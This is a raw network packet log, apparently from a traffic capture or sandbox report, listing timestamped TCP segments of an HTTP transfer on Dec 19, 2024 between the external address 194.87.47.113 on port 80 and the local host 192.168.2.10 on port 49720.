Dec 19, 2024 08:21:32.597965956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.598010063 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.598654985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.598706007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.598742962 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.599447966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.599539042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.599581957 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.600115061 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.600265026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.600306988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.600963116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.601061106 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.601102114 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.601680994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.601789951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.601835966 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.602577925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.602655888 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.602705002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.603333950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.603447914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.603493929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.604068995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.604154110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.604197979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.604907036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.604998112 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.605071068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.605799913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.645718098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.645797968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.645901918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.646039963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.646101952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.646157026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.646281004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.646332026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.646981001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.647036076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.647098064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.647835970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.647924900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.647979975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.648603916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.648766994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.648823977 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.649337053 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.649478912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.649533987 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.650152922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.650268078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.650326014 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.650911093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.651061058 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.651112080 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.651695013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.651806116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.651874065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.652514935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.652620077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.652671099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.653285980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.653395891 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.653441906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.654103994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.654254913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.654334068 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.654879093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.654994965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.655040026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.655638933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.655788898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.655834913 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.656449080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.656579018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.656653881 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.657229900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.657397032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.657452106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.658061028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.658170938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.658217907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.658854008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.658976078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.659035921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.659574032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.659672022 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.659710884 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.660393953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.660531044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.660571098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.661257982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.661330938 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.661381960 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.661956072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.662079096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.662138939 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.662765980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.662889957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.662934065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.663619041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.663655996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.663703918 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.664355040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.664407969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.664483070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.665134907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.665261030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.665302992 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.665929079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.666039944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.666084051 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.666719913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.666812897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.666870117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.667511940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.667567968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.667618990 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.668303967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.668375969 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.668416023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.669090986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.669193029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.669238091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.669897079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.670016050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.670059919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.671395063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.671430111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.671474934 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.736569881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.736891031 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.736980915 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.737155914 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.737231970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.737288952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.737690926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.737839937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.737890959 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.738207102 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.738286972 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.738333941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.738845110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.738965034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.739017963 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.739605904 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.739733934 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.739784956 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.740241051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.740293980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.740339041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.788422108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.788456917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.788522005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.788705111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.788887024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.788940907 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.789478064 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.789654970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.789705038 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.790283918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.790440083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.790498018 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.791098118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.791286945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.791330099 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.791924953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.792138100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.792186022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.792691946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.792855024 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.792898893 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.793004036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.793062925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.793106079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.793629885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.793749094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.793796062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.794466019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.794605970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.794648886 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.795260906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.795373917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.795422077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.796006918 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.796133041 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.796181917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.796782970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.796901941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.796940088 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.797630072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.797684908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.797734022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.837799072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.837871075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.837929964 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.837960005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.838016987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.838063002 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.838764906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.838854074 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.838898897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.839514971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.839627028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.839679003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.840096951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.840225935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.840275049 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.841056108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.841135979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.841177940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.841780901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.841892004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.841938972 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.842452049 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.842673063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.842729092 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.843221903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.843388081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.843436003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.844048977 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.844177008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.844239950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.844854116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.844981909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.845026970 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.845644951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.845777988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.845834017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.846431971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.846545935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.846590996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.847203970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.847368002 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.847414017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.847999096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.848129034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.848167896 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.848767996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.848932028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.848969936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.849607944 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.849724054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.849766016 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.850436926 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.850569963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.850613117 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.851167917 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.851304054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.851350069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.851984978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.852128029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.852169991 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.852797985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.852897882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.852936983 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.853543043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.853636980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.853682041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.854423046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.854551077 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.854594946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.855154991 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.855240107 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.855277061 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.855937004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.856015921 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.856060028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.856720924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.856827974 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.856865883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.857551098 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.857708931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.857754946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.858273029 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.858416080 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.858454943 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.859154940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.859281063 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.859327078 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.859885931 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.860064030 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.860110998 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.860853910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.860939980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.860986948 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.861551046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.861670971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.861716986 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.862350941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.862468958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.862513065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.863089085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.863200903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.863248110 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.927875996 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.927978992 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.928031921 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.928090096 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.928186893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.928230047 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.928883076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.928972960 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.929011106 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.929657936 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.929758072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.929800034 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.930448055 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.930568933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.930603027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.931334019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.931612968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.931653023 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.932009935 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.932205915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.932243109 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.932882071 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.980839014 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.980892897 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.980987072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.981214046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.981251001 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.981359005 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.982038021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.982075930 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.982228994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.982898951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.982944012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.982971907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.983560085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.983603954 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.983669043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.984392881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.984426975 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.984477043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.985177994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.985213041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:32.985285044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:32.985968113 CET	80	49720	194.87.47.113	192.168.2.10
